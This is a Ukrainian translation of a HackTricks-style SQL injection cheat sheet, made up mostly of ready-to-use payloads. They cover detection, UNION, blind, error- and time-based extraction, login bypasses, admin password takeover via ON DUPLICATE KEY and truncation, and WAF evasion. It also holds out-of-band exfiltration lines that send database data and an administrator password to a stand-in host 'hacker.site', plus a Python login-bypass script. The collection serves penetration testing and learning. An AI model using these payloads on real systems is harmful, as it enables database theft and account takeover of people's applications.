SQL Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

​​​​RootedCON є найбільш важливою подією з кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є важливою точкою зустрічі для професіоналів у галузі технологій та кібербезпеки у будь-якій дисципліні.

Що таке SQL ін'єкція?

SQL ін'єкція - це ураза безпеки, яка дозволяє зловмисникам втручатися в запити до бази даних додатка. Ця вразливість може дозволити зловмисникам переглядати, змінювати або видаляти дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або вмісті додатка або навіть до компрометації сервера або відмови в обслуговуванні.

Виявлення точки входу

Коли сайт здається вразливим на SQL ін'єкцію (SQLi) через незвичайні відповіді сервера на введення, пов'язані з SQLi, першим кроком є розуміння того, як впровадити дані в запит без його порушення. Це вимагає ідентифікації методу виходу з поточного контексту ефективно. Ось деякі корисні приклади:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Потім вам потрібно знати, як виправити запит, щоб не було помилок. Щоб виправити запит, ви можете ввести дані, щоб попередній запит прийняв нові дані, або просто ввести свої дані та додати символ коментаря в кінці.

Зверніть увагу, що якщо ви можете бачити повідомлення про помилку або ви можете помітити різницю, коли запит працює і коли ні, ця фаза буде простішою.

Коментарі

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Підтвердження за допомогою логічних операцій

Надійний метод підтвердження вразливості SQL-ін'єкції включає виконання логічної операції та спостереження за очікуваними результатами. Наприклад, параметр GET, такий як ?username=Peter, який повертає ідентичний вміст при зміні на ?username=Peter' або '1'='1, свідчить про наявність вразливості SQL-ін'єкції.

Так само, застосування математичних операцій слугує ефективним методом підтвердження. Наприклад, якщо доступ до ?id=1 та ?id=2-1 видає однаковий результат, це свідчить про наявність SQL-ін'єкції.

Приклади, що демонструють підтвердження за допомогою логічних операцій:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Цей словник був створений для спроби підтвердити SQL-ін'єкції запропонованим способом:

Підтвердження за допомогою часу

У деяких випадках ви не помітите жодних змін на сторінці, яку ви тестуєте. Тому хорошим способом виявлення сліпих SQL-ін'єкцій є змушення БД виконувати дії, які впливають на час завантаження сторінки. Отже, ми будемо конкатенувати в SQL-запит операцію, яка займе багато часу для завершення:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

У деяких випадках функції затримки можуть бути заборонені. Тоді, замість використання цих функцій, ви можете зробити запит, що виконує складні операції, які займуть кілька секунд. Приклади цих технік будуть окремо прокоментовані для кожної технології (якщо є такі).

Визначення Back-end

Найкращий спосіб визначити back-end - спробувати виконати функції різних back-end. Ви можете використовувати функції затримки з попереднього розділу або ці (таблиця з payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Також, якщо у вас є доступ до результатів запиту, ви можете зробити його вивести версію бази даних.

Продовженням буде обговорення різних методів використання різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.

Ідентифікація з PortSwigger

Використання Union Based

Виявлення кількості стовпців

Якщо ви можете побачити результат запиту, це найкращий спосіб використання. По-перше, нам потрібно з'ясувати кількість стовпців, яку початковий запит повертає. Це тому, що обидва запити повинні повертати однакову кількість стовпців. Для цього зазвичай використовуються два методи:

Order/Group by

Щоб визначити кількість стовпців у запиті, поступово збільшуйте число, використовуване в клозі ORDER BY або GROUP BY, поки не отримаєте неправильну відповідь. Незважаючи на відмінні функціональні можливості GROUP BY та ORDER BY в межах SQL, обидва можуть бути використані однаково для визначення кількості стовпців у запиті.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Виберіть більше та більше нульових значень, поки запит не буде вірним:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Ви повинні використовувати значення null, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є допустимим у кожному випадку.

Видобуток назв баз даних, назв таблиць та назв стовпців

На наступних прикладах ми збираємося отримати назву всіх баз даних, назву таблиці бази даних, назви стовпців таблиці:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Існує різний спосіб виявлення цих даних в кожній різній базі даних, але методика завжди однакова.

Використання Прихованої Ін'єкції на Основі Об'єднання

Коли вивід запиту видимий, але ін'єкція на основі об'єднання здається недосяжною, це свідчить про наявність прихованої ін'єкції на основі об'єднання. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на ін'єкцію на основі об'єднання, потрібно розрозуміти виконавчий запит на бекенді.

Це можна зробити за допомогою технік сліпої ін'єкції разом із таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (СУБД). Для розуміння цих таблиць за замовчуванням рекомендується консультувати документацію цільової СУБД.

Після того, як запит було видобуто, необхідно налаштувати ваше навантаження так, щоб безпечно закрити початковий запит. Подальше, до вашого навантаження додається об'єднаний запит, що сприяє використанню нової доступної ін'єкції на основі об'єднання.

Для отримання більш детальної інформації дивіться повну статтю, доступну за посиланням Healing Blind Injections.

Використання Помилкової Ін'єкції

Якщо з якоїсь причини ви не можете побачити вивід запиту, але ви можете побачити повідомлення про помилку, ви можете використовувати ці повідомлення про помилку для ексфільтрації даних з бази даних. Слідуючи аналогічному потоку, як у використанні на основі об'єднання, ви можете вдало витягти БД.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Використання сліпого SQLi

У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете відрізнити, коли запит повертає відповідь true або false, оскільки на сторінці є різні вміст. У цьому випадку ви можете зловживати цією поведінкою, щоб витягти дані з бази даних посимвольно:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Використання Error Blind SQLi

Це той самий випадок, що й раніше, але замість розрізнення між правильною/неправильною відповіддю від запиту ви можете розрізнити між помилкою в SQL-запиті або ні (можливо, через збій HTTP-сервера). Тому в цьому випадку ви можете викликати помилку SQL кожного разу, коли правильно вгадуєте символ:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Використання Time Based SQLi

У цьому випадку немає способу відрізнити відповідь запиту на основі контексту сторінки. Проте, ви можете зробити сторінку завантажуватися довше, якщо вгаданий символ є правильним. Ми вже бачили цю техніку у дії раніше для підтвердження наявності SQLi уразливості.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Стекові запити

Ви можете використовувати стекові запити для виконання кількох запитів поспіль. Зверніть увагу, що під час виконання наступних запитів результати не повертаються до додатку. Тому ця техніка в основному корисна відносно сліпих вразливостей, де ви можете використовувати другий запит для спровокування DNS-запиту, умовної помилки або затримки часу.

Oracle не підтримує стекові запити. MySQL, Microsoft та PostgreSQL підтримують їх: ЗАПИТ-1-ТУТ; ЗАПИТ-2-ТУТ

Експлуатація поза межами зв'язку

Якщо жоден інший метод експлуатації не працює, ви можете спробувати зробити так, щоб база даних витікала інформацію на зовнішній хост, котрим ви керуєте. Наприклад, через DNS-запити:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Виведення даних поза межі за допомогою XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Автоматизована експлуатація

Перевірте SQLMap Cheetsheat, щоб експлуатувати уразливість SQLi за допомогою sqlmap.

Інформація щодо конкретної технології

Ми вже обговорили всі способи експлуатації уразливості SQL Injection. Знайдіть деякі додаткові хитрощі, залежні від технології бази даних у цій книзі:

Або ви знайдете багато хитрощів щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL в https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON - найбільш важлива подія з кібербезпеки в Іспанії та одна з найважливіших в Європі. З місією просування технічних знань, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у кожній дисципліні.

Обхід аутентифікації

Список спроб обійти функціональність входу:

pageLogin bypass List

Обхід аутентифікації за допомогою сировинного хешу

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Цей запит демонструє вразливість при використанні MD5 з параметром true для обробки вхідних даних у перевірці автентифікації, що робить систему вразливою до SQL ін'єкцій. Зловмисники можуть використовувати це, створюючи вхідні дані, які, після хешування, виробляють неочікувані частини SQL команд, що призводить до несанкціонованого доступу.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Обхід аутентифікації за допомогою внесеного хешу

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Рекомендований список:

Ви повинні використовувати кожен рядок списку як ім'я користувача і завжди як пароль: Pass1234. (Ці навантаження також включені в великий список, згаданий в початку цього розділу)

GBK Аутентифікація Bypass

ЯКЩО ' екранується, ви можете використовувати %A8%27, і коли ' екранується, буде створено: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Скрипт Python:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Поліглотний ін'єкцій (багатоконтекстний)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Оператор вставки

Зміна пароля існуючого об'єкту/користувача

Для цього вам слід спробувати створити новий об'єкт з іменем "головного об'єкту" (імовірно адміністратор у випадку користувачів), змінивши щось:

  • Створіть користувача з іменем: AdMIn (з великими та малими літерами)

  • Створіть користувача з іменем: admin=

  • Атака на обрізання SQL (коли є певний обмеження довжини для імені користувача або електронної пошти) --> Створіть користувача з іменем: admin [багато пробілів] a

Атака на обрізання SQL

Якщо база даних вразлива і максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видаїть себе за користувача адміністратор, спробуйте створити ім'я користувача "admin [30 пробілів] a" та будь-який пароль.

База даних перевірить, чи введене ім'я користувача існує в базі даних. Якщо ні, вона обріже ім'я користувача до максимально допустимої кількості символів (у цьому випадку до: "admin [25 пробілів]"), а потім автоматично видалить всі пробіли в кінці, оновивши в базі даних користувача "адмін" з новим паролем (може з'явитися деяка помилка, але це не означає, що це не працює).

Додаткова інформація: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Примітка: Ця атака більше не працюватиме, як описано вище в останніх встановленнях MySQL. Хоча порівняння все ще ігнорують пробіли в кінці за замовчуванням, спроба вставити рядок, який довший за довжину поля, призведе до помилки, і вставка буде невдалою. Для отримання додаткової інформації про це перевірте: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Перевірка часу вставки MySQL

Додайте стільки ','','', скільки вважаєте за потрібне, щоб вийти з оператора VALUES. Якщо затримка виконується, у вас є SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

НА ОНОВЛЕННЯ ПОВТОРНОГО КЛЮЧА

Клауза ON DUPLICATE KEY UPDATE в MySQL використовується для вказівки дій, які база даних повинна виконати, коли спробує вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наведений нижче приклад демонструє, як цю функцію можна використовувати для зміни пароля облікового запису адміністратора:

Приклад Внедення Підказки:

Підказка для внедення може бути створена наступним чином, де спробується вставити два рядки в таблицю users. Перший рядок - це підстава, а другий рядок націлено на існуючий електронний лист адміністратора з метою оновлення пароля:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ось як це працює:

  • Запит намагається вставити два рядки: один для generic_user@example.com і інший для admin_generic@example.com.

  • Якщо рядок для admin_generic@example.com вже існує, спрацьовує умова ON DUPLICATE KEY UPDATE, яка вказує MySQL оновити поле password існуючого рядка на "bcrypt_hash_of_newpassword".

  • В результаті аутентифікацію можна спробувати виконати, використовуючи admin_generic@example.com з паролем, що відповідає хешу bcrypt ("bcrypt_hash_of_newpassword" представляє хеш bcrypt нового пароля, який слід замінити на фактичний хеш бажаного пароля).

Витягнення інформації

Створення 2 облікових записів одночасно

При спробі створити нового користувача та ім'я користувача, потрібні пароль та електронна пошта:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Використання десяткового або шістнадцяткового формату

За допомогою цієї техніки ви можете витягнути інформацію, створивши лише 1 обліковий запис. Важливо зауважити, що вам не потрібно коментувати нічого.

Використання hex2dec та substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Щоб отримати текст, ви можете використовувати:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Використовуючи hex та replacesubstr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON - це найбільш важлива подія з кібербезпеки в Іспанії та одна з найважливіших в Європі. З місією просування технічних знань, цей конгрес є важливою зустріччю для професіоналів у галузі технологій та кібербезпеки у будь-якій дисципліні.

Routed SQL injection

Routed SQL injection - це ситуація, коли запит, який можна впровадити, не є тим, що надає вихідні дані, але вихідні дані запиту, який можна впровадити, йдуть до запиту, який надає вихідні дані. (З паперу)

Приклад:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Обхід WAF

Початкові обходи звідси

Обхід без пробілів

Без пробілів (%20) - обхід за допомогою альтернатив пропускання пробілів

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - обхід за допомогою коментарів

Якщо ви знаєте, що в SQL-запиті не можна використовувати пробіли, ви можете використовувати коментарі для обходу цього обмеження. Наприклад, замість пробілів ви можете використовувати коментарі типу /* */ або --. Наприклад:

SELECT/* */username/**/FROM/* */users;

Цей запит буде виконуватися правильно, оскільки всі пробіли замінені коментарями.

?id=1/*comment*/and/**/1=1/**/--

Без пропусків - обхід за допомогою дужок

Якщо ви знаєте, що вразливий параметр знаходиться всередині дужок, ви можете використовувати цей метод для обходу фільтрації пробілів. Використовуйте дужки для обгортання вашого SQL-коду, щоб уникнути блокування через пробіли.

?id=(1)and(1)=(1)--

Без ком

Без ком - обхід за допомогою OFFSET, FROM та JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Загальні обхідні методи

Чорний список за ключовими словами - обхід за допомогою верхнього/нижнього регістру

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Чорний список за допомогою ключових слів без урахування регістру - обхід за допомогою еквівалентного оператора

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Наукова нотація WAF обхід

Ви можете знайти більш детальне пояснення цього трюку в блозі gosecure. По суті, ви можете використовувати наукову нотацію у неочікуваних способах для обходу WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Обхід обмежень назв стовпців

По-перше, зверніть увагу, що якщо початковий запит та таблиця, з якої ви хочете витягнути прапорець, мають однакову кількість стовпців, ви можете просто виконати: 0 UNION SELECT * FROM flag

Можливо отримати доступ до третього стовпця таблиці без використання його назви за допомогою запиту на кшталт наступного: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, отже, у вразливості sqlinjection це буде виглядати наступним чином:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Або використовуючи обхід коми:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Цей трюк був взятий з https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Інструменти для обхіду WAF

Інші посібники

Список виявлення перебору

​​​​​​​RootedCON є найбільш важливою подією з кібербезпеки в Іспанії та однією з найважливіших в Європі. З місією просування технічних знань, цей конгрес є кипучою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій галузі.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated